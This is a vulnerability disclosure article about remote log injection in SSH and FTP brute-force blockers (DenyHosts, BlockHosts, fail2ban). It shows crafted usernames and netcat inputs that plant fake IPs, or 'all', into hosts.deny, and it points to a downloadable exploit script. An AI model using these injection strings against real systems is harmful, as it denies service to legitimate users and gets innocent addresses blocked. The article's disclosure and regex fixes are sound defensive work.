Log Analysis (i.e. LIDS – Log-Based Intrusion Detection) can be a very powerful tool to complement NIDS/HIDS and improve network security*.
However, like any other technology, when not done properly, it can add new security vulnerabilities and end up causing more harm than good.
The purpose of this article is to point out some vulnerabilities that I found on open source log analysis tools aimed to stop brute force scans against SSH and ftp services. Since these tools also perform active response (automatically blocking the offending IP address), they would be good examples. However, any tool that parse logs can be equally vulnerable.
We will show three 0-day denial-of-service attacks caused by remote log injection on BlockHosts, DenyHosts and fail2ban.
*I pointed out someof its benefits in the following articles: Log analysis for intrusion detection andLog analysis using OSSEC.
**This paper talks about remote log injection, where an external attacker can modify a log, based on the input it provides to an application (in our case OpenSSH and vsftpd). By modifying the way the application logs, we are able to attack these log analysis tools. We are not talking about local log modification or “syslog injection”.
*** I am the author of OSSEC, a HIDS, that does, among other things, log analysis and active response. It is not vulnerable to these injections but for reasons of full disclosure, you may want to know it.
We all know that we should never trust user input, specially when talking about web development, but we seemed to have forgotten about it when dealing with logs.
The rule should always be: ANY user input that goes into a log SHOULD NOT be trusted! Why do I say that? Let’s look at some ssh logs to start.
When you miss a password, SSH logs the following (the second and third lines happen when you provide an invalid user name):
Jun 2 14:49:00 crazymom sshd[5862]: Failed password for root from 192.168.50.65 port 34780 ssh2
Jun 2 14:49:42 crazymom sshd[5866]: Invalid user invuser from 192.168.50.65
Jun 2 14:49:46 crazymom sshd[5866]: Failed password for invalid user invuser from 192.168.50.65 port 34786 ssh2
Note that the SSH logs have the user name and IP address related to the connection. BUT, the user name is provided by the USER! What if we provide the following username:
[dcid@enigma log]$ ssh “myfakeuser from 10.1.1.1 port 123 ssh2 “@192.168.5.1
What would the logs look like?
Jun 2 14:54:00 crazymom sshd[5870]: Invalid user myfakeuser from 10.1.1.1 port 123 ssh2 from 192.168.50.65
Jun 2 14:54:03 crazymom sshd[5870]: Failed password for invalid usermyfakeuser from 10.1.1.1 port 123 ssh2 from 192.168.50.65 port 34813 ssh2
What about an FTP log? (we use vsftpd as an example, but it applies to every application) Take a look at the logs when we try to modify the user name:
root@slacker:~# ftp 192.168.3.4
220 Welcome to labs ossec candy FTP service.
Name (192.168.2.3:root): myuser
..
root@slacker:~# ftp 192.168.3.4
220 Welcome to labs ossec candy FTP service.
Name (192.168.2.3:root): lala] FAIL LOGIN: Client “2.3.4.54″
..
And the resulting logs look like:
Mon Jun 2 21:05:30 2007 [pid 1448] [myuser] FAIL LOGIN: Client “192.168.3.1″
Mon Jun 2 21:06:02 2007 [pid 1452] [lala] FAIL LOGIN: Client “2.3.4.54″ ] FAIL LOGIN: Client “192.168.3.1″
We all know SQL injection, and the idea here is not different. We are just passing the user name in a way that would trick a log analysis tool, making it think that the source ip of the connection is not what it really is.
Other very interesting thing that we will use later in here, is regarding how SSH logs invalid protocols:
root@slacker:~# nc 192.168.3.4 22
SSH-1.99-OpenSSH_4.2
hi me
Protocol mismatch.
And the logs look like:
Jun 2 21:27:37 slacker sshd[1457]: Bad protocol version identification ‘hi me‘ from 192.168.3.1
Can you see the provided user string on that log? The question remaining is: How well your log analysis tool handle these injections?
DenyHosts is a very popular “sshd monitoring” tool, with more than 6,000 users according to their web site. It monitors your ssh logs and dynamically blocks the source ip of a connection that produces too many authentication failures.
DenyHosts had some vulnerabilities in the past, when it was open to a very simple log injection technique (see above).
However, its latest version (2.6) is still vulnerable to log injection on a different case that can result on full sshd lockdown. So let’s explore it.
If you try to netcat to a ssh server (as shown in the introduction):
dcid@enigma:~/Desktop$ nc 10.1.1.18 22
SSH-1.99-OpenSSH_3.9p1
User root from 10.2.3.5 not allowed because none of user’s groups are listed in AllowGroups
Protocol mismatch.
How will the server log it?
Apr 25 13:19:32 crazymom sshd[4153]: Bad protocol version identification ‘User root from 10.2.3.5 not allowed because none of user’s groups are listed in AllowGroups‘ from 10.1.1.4
Can you see our provided string (User root…) in the log? What if you have DenyHosts running and monitoring your ssh logs? What do you think it will do with it? (if I repeat it 5 times — by default)
[root@crazymom DenyHosts]# tail -f /var/log/denyhosts
2007-04-25 13:20:59,068 – denyhosts : INFO new denied hosts: ['10.2.3.5']
Yes, it added the supplied fake IP address to /etc/hosts.deny. So, thevulnerability is that DenyHosts is open to log injection, allowing any external user to insert whatever they want into hosts.deny.
Why DenyHosts (2.6) does that? If we look at the source code, it has a loose regex for one specificsshd error message (inside DenyHosts/regex.py):
FAILED_ENTRY_REGEX5 = re.compile(r”””User (?P.*) .*from
(?P.*) not allowed because none of user’s groups are listed
in AllowGroups”””)
It is basically looking for “User from ..” anywhere in the log, not checking if it is in the middle of the “bad protocol version” log. How do we fix that? Just make the regex more robust (an “$” at the end would solve it)!
You may think it is not a big deal but what if instead of one IP address I pass "all"? — all on hosts.deny means block every IP. Would it block the whole internet out of the box? Yes, it would!
dcid@enigma:~$ nc 192.168.5.1 22
SSH-1.99-OpenSSH_3.9p1
User root from all not allowed because none of user’s groups are listed in AllowGroups
Protocol mismatch.
And the logs
Apr 25 13:19:32 crazymom sshd[4153]: Bad protocol version identification ‘ User root from all not allowed because none of user’s groups are listed in AllowGroups’ from 10.1.1.14
root@crazymom DenyHosts]# tail -f /var/log/denyhosts
2007-04-25 13:35:28,954 – denyhosts : INFO new denied hosts: ['all']
[root@crazymom DenyHosts]# cat /etc/hosts.deny
#
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the ‘/usr/sbin/tcpd’ server.
#
sshd: all
You just blocked EVERYONE else out of this box. I have a simple “exploit” code that proves my point. Just execute it and pass the IP address of the box to test:
dcid@enigma:~$ wget http://www.ossec.net/denyhosts-exp.sh
dcid@enigma:~$ chmod +x denyhosts-exp.sh
dcid@enigma:~$ ./denyhosts-exp.sh
./denyhosts-exp.sh:
dcid@enigma:~$ ./denyhosts-exp.sh 10.1.1.8
1
SSH-1.99-OpenSSH_3.9p1
Protocol mismatch.
..
SSH-1.99-OpenSSH_3.9p1
Protocol mismatch.
20dcid@enigma:~$ ssh 10.1.1.8
ssh_exchange_identification: Connection closed by remote host
at the server side:
root@mb DenyHosts]# cat /etc/hosts.deny
#
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the ‘/usr/sbin/tcpd’ server.
sshd: all
We used DenyHosts on our previous example, because it is one of the most famous tools out there, but it is not the only one vulnerable.
BlockHosts latest version (2.0.3) is also vulnerable to log injection via the vsftpand SSH logs. The reason is the same as DenyHosts: loose regular expressions.
root@slacker:~# ftp 192.168.3.4
220 Welcome to labs ossec candy FTP service.
Name (192.168.2.3:root): lala] FAIL LOGIN: Client “2.3.4.54″
..
If we pass a modified user name in order to inject an IP address, it will block the fake supplied IP address instead of the valid one.
root@slacker:~# cat /etc/hosts.deny
#—- BlockHosts Additions
ALL: 2.3.4.54 : deny
..
#—- BlockHosts Additions
Fail2ban latest version 0.8 is vulnerable to the same injection via SSH logs that DenyHosts and BlockHosts are. It looks for “ROOT LOGIN REFUSED” anywhere in the logs and as previously shown, we can easily inject that using the bad protocol identification message from ssh.
dcid@enigma:~$ nc 192.168.5.1 22
SSH-1.99-OpenSSH_3.9p1
ROOT LOGIN REFUSED hi FROM 1.5.6.7
Protocol mismatch.(the logs):
Jun 4 14:49:46 slacker sshd[4153]: Bad protocol version identification ‘ROOT LOGIN REFUSED hi FROM 1.5.6.7 ‘ from 10.1.1.14
Fail2ban author, Cyril Jaquier, replied and patched the vulnerability.
BlockHosts author, Avinash Chopde, replied and patched the vulnerability.
We spoke with DenyHosts author, Phil Schwartz, but no official patch is available yet. However, by changing the FAILED_ENTRY_REGEX5 (at regex.py) to the following, fixes the problem:
FAILED_ENTRY_REGEX5 = re.compile(r”””User (?P.*) .*from (?P.*) not allowed because none of user’s groups are listed in AllowGroups$”””)
The goal of this document is to show some of the most common problems with log injections that we need to be aware when developing programs that parse log messages.
Please be aware that a few other tools also “block ssh scans”, but some of them are so vulnerable that I didn’t even bother mentioning. My advice is don’t use tools that are shell-script based or have not been updated in a while. Not only they are vulnerable to remote DoS, but also to command execution viahosts.deny (yes, you can configure it to execute programs) and other means.
To conclude, if you ever write a custom script to parse your logs, be aware of those issues.
*I want to thank Cyril Jaquier from Fail2ban, Avinash Chopde from BlockHosts and Phil Schwartz from DenyHosts for the prompt reply and willingness to fix those issues. I also want to thank Liliane Cid for helping me writing and reviewing this document.
/ * EOF * /